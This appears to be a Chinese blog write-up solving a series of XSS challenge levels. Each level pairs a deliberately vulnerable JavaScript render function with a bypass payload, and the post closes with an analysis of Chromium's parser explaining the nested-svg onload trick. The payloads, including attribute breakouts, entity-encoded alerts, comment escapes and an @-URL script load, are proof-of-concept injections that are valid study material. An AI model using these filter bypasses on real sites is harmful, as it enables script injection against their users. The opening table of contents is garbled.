xss漏洞简单案例

目录

一:function render (input) {  return '

'}

二:function render (input) {  return '' + input + ''}

​编辑

三:function render (input) {  return ''}

 四:function render (input) {  const stripBracketsRe = /[()]/g  input = input.replace(stripBracketsRe, '')  return input}

五:function render (input) {  const stripBracketsRe = /[()`]/g  input = input.replace(stripBracketsRe, '')  return input}

六:function render (input) {  input = input.replace(/-->/g, '😂')  return ''}

七: function render (input) {  input = input.replace(/auto|on.*=|>/ig, '_')  return ``}

 八:

function render (input) {  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')  return `

${input}

`}

 九:function render (src) {  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')  return `      `}

 十:function render (input) {  let domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) {    return ``  }  return 'Invalid URL'}

十一:

function render (input) {  function escapeHtml(s) {    return s.replace(/&/g, '&')            .replace(/'/g, ''')            .replace(/"/g, '"')            .replace(//g, '>')            .replace(/\//g, '/')  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) {    return ``  }  return 'Invalid URL'}

​编辑 十二:function render (input) {  input = input.toUpperCase()  return `

${input}

`}

十三: function escape(input) {    // pass in something like dog#cat#bird#mouse...    var segments = input.split('#');    return segments.map(function(title) {        // title can only contain 12 characters        return '

';    }).join('\n');}

 ​编辑

十四:

function escape(input) {    // sort of spoiler of level 7    input = input.replace(/\*/g, '');    // pass in something like dog#cat#bird#mouse...    var segments = input.split('#');

    return segments.map(function(title, index) {        // title can only contain 15 characters        return '

';    }).join('\n');} 

svg命名空间 :

一:function render (input) {
  return '<div>' + input + '</div>'
}

 解法:

</div>
<script> alert(1)</script> //

题目:
function render (input) {
  return '<div>' + input + '</div>'
}

二:function render (input) {
  return '<textarea>' + input + '</textarea>'
}

 解法:

</textarea><script>alert(1)</script>


题目:
function render (input) {
  return '<textarea>' + input + '</textarea>'
}

三:function render (input) {
  return '<input type="name" value="' + input + '">'
}

解法: 

"><script>alert(1)</script>

题目:
function render (input) {
  return '<input type="name" value="' + input + '">'
}

 四:function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

 解法:

<script>alert`1`</script>

题目:
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

五:function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

解法:

<img src=1 onerror="alert&#40;1&#41;"

题目:
function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

六:function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

解法: 

--!><script>alert(1)</script><--

题目:
function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

七: function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

解法:

type="image" src=1 onerror
=alert(1)

题目:
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

 八:

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

解法:

<img src=1 onerror="alert(1)"

题目:
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

 九:function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

解法:

</style
><script>alert(1)</script>

题目:
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

 十:function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

解法: 

http://www.segmentfault.com"></script><script>alert(1)</script>

题目:
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

十一:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

解法:

http://www.segmentfault.com@127.0.0.1/test.js

//@ 可以重定向到@后面的连接中

题目:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

 

 十二:function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

解法:

<svg/onload=&#97;&#108;&#101;&#114;&#116;(1)>

题目:
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

 

十三: function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

 

 解法:

"><script>/*#*/prompt(/*#*/1)/*#*/</script>

题目:
function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

十四:

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');

 解法:

"><svg><!--#--><script><!--#-->prompt(<!--#-->1)<!--#--></script>


题目:
function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
} 

svg命名空间 :

为什么要加<svg>?
    <script>标签下只能存放文本,注释不会生效。<svg>是个命名空间,使用<svg>会切换到<svg>的命名空间内,遵循<svg>的语法格式(xml格式)。

命名空间:<html>,<svg>,<mathml>
这三个命名空间可以相互切换

SVG namespacehttps://www.w3.org/2000/svg

补充双<svg>绕过 ——可以在过滤代码执行以前,提前执行恶意代码

我们知道JS是通过DOM接口来操作文档的,而HTML文档也是用DOM树来表示。所以在浏览器的渲染过程中,我们最关注的就是DOM树是如何构建的。

<img src=1 onerror>

解析一份文档时,先由标记生成器做词法分析,将读入的字符转化为不同类型的Token,然后将Token传递给树构造器处理;接着标识识别器继续接收字符转换为Token,如此循环。实际上对于很多其他语言,词法分析全部完成后才会进行语法分析(树构造器完成的内容),但由于HTML的特殊性,树构造器工作的时候有可能会修改文档的内容,因此这个过程需要循环处理。

 

在树构建过程中,遇到不同的Token有不同的处理方式。具体的判断是在HTMLTreeBuilder::ProcessToken(AtomicHTMLToken* token)中进行的。AtomicHTMLToken是代表Token的数据结构,包含了确定Token类型的字段,确定Token名字的字段等等。Token类型共有7种,kStartTag代表开标签,kEndTag代表闭标签,kCharacter代表标签内的文本。所以一个<script>alert(1)</script>会被解析成3个不同种类的Token,分别是kStartTagkCharacterkEndTag。在处理Token的过程中,还有一个InsertionMode的概念,用于判断和辅助处理一些异常情况。

在处理Token的时候,还会用到HTMLElementStack,一个栈的结构。当解析器遇到开标签时,会创建相应元素并附加到其父节点,然后将token和元素构成的Item压入该栈。遇到一个闭标签的时候,就会一直弹出栈直到遇到对应元素构成的item为止,这也是一个处理文档异常的办法。比如<div><p>1</div>会被浏览器正确识别成<div><p>1</p></div>正是借助了栈的能力。

而当处理script的闭标签时,除了弹出相应item,还会暂停当前的DOM树构建,进入JS的执行环境。换句话说,在文档中的script标签会阻塞DOM的构造。JS环境里对DOM操作又会导致回流,为DOM树构造造成额外影响

void HTMLElementStack::PopAll() {
  root_node_ = nullptr;
  head_element_ = nullptr;
  body_element_ = nullptr;
  stack_depth_ = 0;
  while (top_) {
    Node& node = *TopNode();
    auto* element = DynamicTo<Element>(node);
    if (element) {
      element->FinishParsingChildren();
      if (auto* select = DynamicTo<HTMLSelectElement>(node))
        select->SetBlocksFormSubmission(true);
    }
    top_ = top_->ReleaseNext();
  }
}

void HTMLElementStack::PopCommon() {
  DCHECK(!TopStackItem()->HasTagName(html_names::kHTMLTag));
  DCHECK(!TopStackItem()->HasTagName(html_names::kHeadTag) || !head_element_);
  DCHECK(!TopStackItem()->HasTagName(html_names::kBodyTag) || !body_element_);
  Top()->FinishParsingChildren();
  top_ = top_->ReleaseNext();

  stack_depth_--;
}

当我们没有正确闭合标签的时候,如<svg><svg>,就可能调用到PopAll来清理;而正确闭合的标签就可能调用到其他出栈函数并调用到PopCommon。这两个函数有一个共同点,都会调用栈中元素的FinishParsingChildren函数。这个函数用于处理子节点解析完毕以后的工作。因此,我们可以查看svg标签对应的元素类的这个函数。

void SVGSVGElement::FinishParsingChildren() {
  SVGGraphicsElement::FinishParsingChildren();

  // The outermost SVGSVGElement SVGLoad event is fired through
  // LocalDOMWindow::dispatchWindowLoadEvent.
  if (IsOutermostSVGSVGElement())
    return;

  // finishParsingChildren() is called when the close tag is reached for an
  // element (e.g. </svg>) we send SVGLoad events here if we can, otherwise
  // they'll be sent when any required loads finish
  SendSVGLoadEventIfPossible();
}

这里有一个非常明显的判断IsOutermostSVGSVGElement,如果是最外层的svg则直接返回。注释也告诉我们了,最外层svg的load事件由LocalDOMWindow::dispatchWindowLoadEvent触发;而其他svg的load事件则在达到结束标记的时候触发。所以我们跟进SendSVGLoadEventIfPossible进一步查看。

bool SVGElement::SendSVGLoadEventIfPossible() {
  if (!HaveLoadedRequiredResources())
    return false;
  if ((IsStructurallyExternal() || IsA<SVGSVGElement>(*this)) &&
      HasLoadListener(this))
    DispatchEvent(*Event::Create(event_type_names::kLoad));
  return true;
}
先决条件 在于svg不能最外层 onload 必须保证不是最外层

这个函数是继承自父类SVGElement的,可以看到代码中的DispatchEvent(*Event::Create(event_type_names::kLoad));确实触发了load事件,而前面的判断只要满足是svg元素以及对load事件编写了相关代码即可,也就是说在这里执行了我们写的onload=alert(1)的代码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

戲子 鬧京城°ぃ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值